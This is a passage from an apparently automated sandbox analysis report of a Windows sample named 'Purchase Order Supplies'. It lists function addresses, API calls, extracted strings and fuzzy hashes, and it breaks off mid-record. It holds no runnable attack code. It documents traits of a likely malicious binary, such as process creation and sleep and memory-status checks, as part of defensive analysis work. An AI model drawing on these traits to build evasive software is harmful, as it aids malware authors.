Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 047c91a5750f5307b3bc94cfe8c42e9676447e3d52055f0d027d0492b79cabd0
Instruction ID: 364be0db90182f94a30ded6f4c0feab04ce5a7b5ba976bb7deb2c6377a76f834
Opcode Fuzzy Hash: 047c91a5750f5307b3bc94cfe8c42e9676447e3d52055f0d027d0492b79cabd0
Instruction Fuzzy Hash: F511187A940218FFDB11DBD9C885F9DBBB4FB08710F204095EA05B7294D671AE10DB94

Function 00CAC619 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00CAC657
GetStockObject.GDI32(00000011), ref: 00CAC66B
SendMessageW.USER32(00000000,00000030,00000000), ref: 00CAC675

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: f040aba1d2a3a0402c89a3e91c3738ba016ac08280514da5e38116ac28290e29
Instruction ID: 9799b5183c1a9ce732569baedc50bdc8c1ca17d9d1c95ba8a1ae3cc5e61d542e
Opcode Fuzzy Hash: f040aba1d2a3a0402c89a3e91c3738ba016ac08280514da5e38116ac28290e29
Instruction Fuzzy Hash: 6011C472501649BFDF128FA0CC84EEA7B69FF0A358F054111FA1492150CB31DC60DBA0

Function 00CD49D1 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00CD354D,?,00CD45D5,?,00008000), ref: 00CD49EE
Sleep.KERNEL32(00000000,?,?,?,?,?,?,00CD354D,?,00CD45D5,?,00008000), ref: 00CD4A13
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00CD354D,?,00CD45D5,?,00008000), ref: 00CD4A1D
Sleep.KERNEL32(?,?,?,?,?,?,?,00CD354D,?,00CD45D5,?,00008000), ref: 00CD4A50

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: adf3eadc9062cbbd9691287302656e1717c3f2eec68cdf532c7db285755164bb
Instruction ID: 3a706125b5ac9db0e6ac08211f60b4fd18bfb349377f37151eb7ffa436cc7f8f
Opcode Fuzzy Hash: adf3eadc9062cbbd9691287302656e1717c3f2eec68cdf532c7db285755164bb
Instruction Fuzzy Hash: E6117031D40618EBCF04EFA5D948AEEBB74FF09711F004056EB49B2340CB309591D7A9

Function 00CB80E2 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00CB869D: __getptd_noexit.LIBCMT ref: 00CB869E

__lock.LIBCMT ref: 00CB811F
InterlockedDecrement.KERNEL32(?), ref: 00CB813C
_free.LIBCMT ref: 00CB814F
InterlockedIncrement.KERNEL32(01363B40), ref: 00CB8167

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Interlocked$DecrementIncrement__getptd_noexit__lock_free
String ID:
API String ID: 2704283638-0
Opcode ID: 2b3a594ad9b1e98e323ffc7787f426910926907bb06bf2bd49c5b4874737ca14
Instruction ID: ddfb321a61fbd1ef0c2f6407acd85bbf0dfb94d683d78ad9b1b9362113d56276
Opcode Fuzzy Hash: 2b3a594ad9b1e98e323ffc7787f426910926907bb06bf2bd49c5b4874737ca14
Instruction Fuzzy Hash: 4F019235942721ABDB12AF6D980A7DD7368BF05710F044119F824A73D1DF349E46EBE2

Function 00CB8724 Relevance: 6.0, APIs: 4, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00CB8768

Part of subcall function 00CB8984: __mtinitlocknum.LIBCMT ref: 00CB8996
Part of subcall function 00CB8984: RtlEnterCriticalSection.NTDLL(00CB0127), ref: 00CB89AF

InterlockedIncrement.KERNEL32(DC840F00), ref: 00CB8775
__lock.LIBCMT ref: 00CB8789
___addlocaleref.LIBCMT ref: 00CB87A7

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: __lock$CriticalEnterIncrementInterlockedSection___addlocaleref__mtinitlocknum
String ID:
API String ID: 1687444384-0
Opcode ID: c0651d9fdc100a9af6264aa248c56a9c52ce6a600dc3888927e55c2c7246906a
Instruction ID: 4791d12fe16d8964dcb87e894df6b53464c1395199aae3b71fb9470ef71682ba
Opcode Fuzzy Hash: c0651d9fdc100a9af6264aa248c56a9c52ce6a600dc3888927e55c2c7246906a
Instruction Fuzzy Hash: 6C016D71440B00AFD760EF65D805799F7F4EF40325F20890EE4AA973A0CF70A644DB11

Function 00CFE13E Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CFE14D
_memset.LIBCMT ref: 00CFE15C
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00D53EE0,00D53F24), ref: 00CFE18B
CloseHandle.KERNEL32 ref: 00CFE19D

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: 84903028e97db8c75865264ec62bfbb3f7162169aa13416aab048ba6cb89ab27
Instruction ID: ee82e7a3d3acbc10bdcfe8e3bdaa51287e66494d33a575c843e7c8b785ed2444
Opcode Fuzzy Hash: 84903028e97db8c75865264ec62bfbb3f7162169aa13416aab048ba6cb89ab27
Instruction Fuzzy Hash: 22F05EF1940314BFF6105B65AC16FB77AADDF097D6F044420BE04D52A2D7B68E1097B8

Function 00CFE83C Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00CAB58B: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 00CAB5EB
Part of subcall function 00CAB58B: SelectObject.GDI32(?,00000000), ref: 00CAB5FA
Part of subcall function 00CAB58B: BeginPath.GDI32(?), ref: 00CAB611
Part of subcall function 00CAB58B: SelectObject.GDI32(?,00000000), ref: 00CAB63B

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00CFE860
LineTo.GDI32(00000000,?,?), ref: 00CFE86D
EndPath.GDI32(00000000), ref: 00CFE87D
StrokePath.GDI32(00000000), ref: 00CFE88B

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 105a610d0dc8715e4a6db21392cc1cd85d7b2e6097dd5f3d6e51e9b29cd957a9
Instruction ID: 4e87cf85d13cddc9e26424d15f66380c51f9e8d8b738f0960b53c195c6dde1dc
Opcode Fuzzy Hash: 105a610d0dc8715e4a6db21392cc1cd85d7b2e6097dd5f3d6e51e9b29cd957a9
Instruction Fuzzy Hash: 57F05E35001359BBDB126F54AC0DFCE3F9AAF0A315F048101FE11A52E1CB795652DFA5

Function 00CCD623 Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00CCD640
GetWindowThreadProcessId.USER32(?,00000000), ref: 00CCD653
GetCurrentThreadId.KERNEL32 ref: 00CCD65A
AttachThreadInput.USER32(00000000), ref: 00CCD661

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: d3ad42eb0c6c4a32c28f59890edb9924bdc43061d68bdb3707e6cf00ad3b3e00
Instruction ID: e324a0f0ce485e7ea7d19db7218361c47c808aad325ef1b1ab3095bddc41dcaa
Opcode Fuzzy Hash: d3ad42eb0c6c4a32c28f59890edb9924bdc43061d68bdb3707e6cf00ad3b3e00
Instruction Fuzzy Hash: 0BE01531101328BADB205BA2DC0DFDB7F5DEB117A2F008024F90DC5461CB759581CBB0

Function 00CAB0AC Relevance: 6.0, APIs: 4, Instructions: 22COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00CAB0C5
SetTextColor.GDI32(?,000000FF), ref: 00CAB0CF
SetBkMode.GDI32(?,00000001), ref: 00CAB0E4
GetStockObject.GDI32(00000005), ref: 00CAB0EC
GetWindowDC.USER32(?,00000000), ref: 00D0ECFA
GetPixel.GDI32(00000000,00000000,00000000), ref: 00D0ED07
GetPixel.GDI32(00000000,?,00000000), ref: 00D0ED20
GetPixel.GDI32(00000000,00000000,?), ref: 00D0ED39
GetPixel.GDI32(00000000,?,?), ref: 00D0ED59
ReleaseDC.USER32(?,00000000), ref: 00D0ED64

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 6a494ff3daec9cd65f902a12dc1a6becfa502ee92a6a2d63d2dade275e2ed491
Instruction ID: 0be12c2d2b709a717949c543bfbe23232e75aef601e9c4c7f64f1bf3b5ea348d
Opcode Fuzzy Hash: 6a494ff3daec9cd65f902a12dc1a6becfa502ee92a6a2d63d2dade275e2ed491
Instruction Fuzzy Hash: B1E0ED31500340BEEB215F74AC497D87F22AB56335F14C266F779980E6CB724982DB31

Function 00D0C0A0 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00D0C0A0
GetDC.USER32(00000000), ref: 00D0C0AA
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00D0C0C9
ReleaseDC.USER32 ref: 00D0C0E8

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 494aad42cd98c55be68c744929e2130f569e3852926e0caf977a45b70d011c91
Instruction ID: c73d81c241dbb006458d141340267b1930c752cac36e00b7c2541c56c95993d5
Opcode Fuzzy Hash: 494aad42cd98c55be68c744929e2130f569e3852926e0caf977a45b70d011c91
Instruction Fuzzy Hash: 00E01AB1500304EFDB005F7088486A93BA6EB4C354F11C405F84AC7350DF7998829B60

Function 00D0C0B4 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00D0C0B4
GetDC.USER32(00000000), ref: 00D0C0BE
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00D0C0C9
ReleaseDC.USER32 ref: 00D0C0E8

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 37e1657ce8a3ec24b4f0adff67f6d78cc52f31a4d201d3c64e3585942ef5a211
Instruction ID: 7773a1dbc406f608e44c7af6961e7afec4ea05fbfbf6821209249e588fe28da3
Opcode Fuzzy Hash: 37e1657ce8a3ec24b4f0adff67f6d78cc52f31a4d201d3c64e3585942ef5a211
Instruction Fuzzy Hash: D6E012B1900308AFDB009FB088486A93BAAEB4D364F11C405F94ACB310DFB899829B60

Function 00D12350 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 475COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00C967D0

Strings

>, xrefs: 00D12414
DEFINE, xrefs: 00D1265C

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _memmove
String ID: >$DEFINE
API String ID: 4104443479-1664449232
Opcode ID: 4b557098af3811317b09593fa9bea8ea12ec19ada02d6cfcc9a6b789da6917e6
Instruction ID: ad7182446e4676d111e5de963986c0d17d349547f32cc45465bb69ac28d9ee46
Opcode Fuzzy Hash: 4b557098af3811317b09593fa9bea8ea12ec19ada02d6cfcc9a6b789da6917e6
Instruction Fuzzy Hash: CC124A75A0020AEFCF24CF58D4846EDB7B1FF58314F19825AE855AB391DB31AE91CB60

Function 00CCEAD5 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 240comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 00CCECA0

Strings

Container, xrefs: 00CCEC1F
AutoIt3GUI, xrefs: 00CCEC18

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: 3c18fde488a4c750dc81ceaf51a2367a971c3d1f5654dace58ec1ff5aaaf45c4
Instruction ID: d7b15de1d2745c2cc9429d7aaa318c4e53772d84e5bf1ca48d105c3772456967
Opcode Fuzzy Hash: 3c18fde488a4c750dc81ceaf51a2367a971c3d1f5654dace58ec1ff5aaaf45c4
Instruction Fuzzy Hash: 43913774600701AFDB14CF68C884F6ABBB9BF49710F24856DF95ACB291DB70E941CB60

Function 00CDE704 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 200shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00C93BCF: _wcscpy.LIBCMT ref: 00C93BF2

Part of subcall function 00C984A6: __swprintf.LIBCMT ref: 00C984E5
Part of subcall function 00C984A6: __itow.LIBCMT ref: 00C98519

__wcsnicmp.LIBCMT ref: 00CDE785
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 00CDE84E

Strings

LPT, xrefs: 00CDE77F

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: a5202bbbb75a81660815d8193d7da713b50b0223ee66b1a9eb401e4cc136c889
Instruction ID: e4f700c228160096241c796af71f452649ae2719028e742e50453df26bf04709
Opcode Fuzzy Hash: a5202bbbb75a81660815d8193d7da713b50b0223ee66b1a9eb401e4cc136c889
Instruction Fuzzy Hash: B6617D75A00215AFCB14EB98C895EAEB7F8EF09310F05406AF656AF390DB30AE44DB50

Function 00C91B72 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00C91B83
GlobalMemoryStatusEx.KERNEL32 ref: 00C91B9C

Strings

@, xrefs: 00C91B91

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 48f306267383ef08b9fa9b3a7bc5ca6bba2aeaa4993981b7b07bcddb4ef722ca
Instruction ID: 9e179ae402925f9f6b07f82dd07635810cc2d0ce4da8c95d7abc1a90855bcbbc
Opcode Fuzzy Hash: 48f306267383ef08b9fa9b3a7bc5ca6bba2aeaa4993981b7b07bcddb4ef722ca
Instruction Fuzzy Hash: E6515A71408745ABE720AF14D885BABBBECFF9A354F41484DF1C8811A1EB71956CC763

Function 00CDCE59 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 00C9417D: __fread_nolock.LIBCMT ref: 00C9419B

_wcscmp.LIBCMT ref: 00CDCF49
_wcscmp.LIBCMT ref: 00CDCF5C

Strings

FILE, xrefs: 00CDCE91

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: 201b3317705bc1de66f11dfab7b25a3164e0f3a500fef85b64d101b665a23ccb
Instruction ID: f9168545545a5d7b7eb5be9789ea371ef5edaaae270c461faa5c43b727214a95
Opcode Fuzzy Hash: 201b3317705bc1de66f11dfab7b25a3164e0f3a500fef85b64d101b665a23ccb
Instruction Fuzzy Hash: 2841E232A0421ABADF109BA4CC85FEF7BBA9F49710F00046AF601E7281D7719A45DB61

Function 00CFA578 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 00CFA668
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00CFA67D

Strings

', xrefs: 00CFA5D1

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 00b6dba6a5f2777c4524e9dabb615ca9ccc281f9798ada92cf24bdb0bc267ef1
Instruction ID: cdf027dd9fa7a3a8e9885cd545985e11d6f83f51866122d9566cff134b3cbd75
